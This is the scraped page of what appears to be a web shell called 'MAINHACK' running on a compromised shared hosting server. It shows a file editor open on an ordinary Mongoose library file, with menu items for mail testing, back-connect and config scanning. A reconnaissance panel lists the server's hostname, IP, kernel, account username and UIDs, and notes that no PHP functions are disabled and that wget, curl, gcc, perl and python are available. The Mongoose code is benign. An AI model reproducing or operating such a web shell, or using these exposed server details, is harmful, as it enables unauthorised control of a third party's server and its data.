[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: documentArrayElement.js
/*! * Module dependencies. */ 'use strict'; const MongooseError = require('../error/mongooseError'); const SchemaType = require('../schemaType'); const SchemaSubdocument = require('./subdocument'); const getConstructor = require('../helpers/discriminator/getConstructor'); /** * DocumentArrayElement SchemaType constructor. Mongoose calls this internally when you define a new document array in your schema. * * #### Example: * const schema = new Schema({ users: [{ name: String }] }); * schema.path('users.$'); // SchemaDocumentArrayElement with schema `new Schema({ name: String })` * * @param {string} path * @param {Schema} schema * @param {object} options * @param {Schema} parentSchema * @inherits SchemaType * @api public */ function SchemaDocumentArrayElement(path, schema, options, parentSchema) { this.$parentSchemaType = options?.$parentSchemaType; if (!this.$parentSchemaType) { throw new MongooseError('Cannot create DocumentArrayElement schematype without a parent'); } delete options.$parentSchemaType; SchemaType.call(this, path, options, 'DocumentArrayElement', parentSchema); this.$isMongooseDocumentArrayElement = true; this.Constructor = options?.Constructor; this.schema = schema; } /** * This schema type's name, to defend against minifiers that mangle * function names. * * @api public */ SchemaDocumentArrayElement.schemaName = 'DocumentArrayElement'; SchemaDocumentArrayElement.defaultOptions = {}; /** * Sets a default option for all SchemaDocumentArrayElement instances. * * #### Example: * * // Make all document array elements have option `_id` equal to false. * mongoose.Schema.Types.DocumentArrayElement.set('_id', false); * * @param {string} option The name of the option you'd like to set * @param {any} value The value of the option you'd like to set. * @return {void} * @function set * @static * @api public */ SchemaDocumentArrayElement.set = SchemaType.set; /** * Attaches a getter for all DocumentArrayElement instances * * @param {Function} getter * @return {this} * @function get * @static * @api public */ SchemaDocumentArrayElement.get = SchemaType.get; /*! * Inherits from SchemaType. */ SchemaDocumentArrayElement.prototype = Object.create(SchemaType.prototype); SchemaDocumentArrayElement.prototype.constructor = SchemaDocumentArrayElement; /** * Casts `val` for DocumentArrayElement. * * @param {object} value to cast * @api private */ SchemaDocumentArrayElement.prototype.cast = function(...args) { return this.$parentSchemaType.cast(...args)[0]; }; /** * Async validation on this individual array element * * @api public */ SchemaDocumentArrayElement.prototype.doValidate = async function doValidate(value, scope, options) { const Constructor = getConstructor(this.Constructor, value); if (value && !(value instanceof Constructor)) { value = new Constructor(value, scope, null, null, options?.index ?? null); } return SchemaSubdocument.prototype.doValidate.call(this, value, scope, options); }; /** * Clone the current SchemaType * * @return {DocumentArrayElement} The cloned instance * @api private */ SchemaDocumentArrayElement.prototype.clone = function() { this.options.$parentSchemaType = this.$parentSchemaType; const ret = SchemaType.prototype.clone.apply(this, arguments); delete this.options.$parentSchemaType; ret.Constructor = this.Constructor; ret.schema = this.schema; return ret; }; /*! * Module exports. */ module.exports = SchemaDocumentArrayElement;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344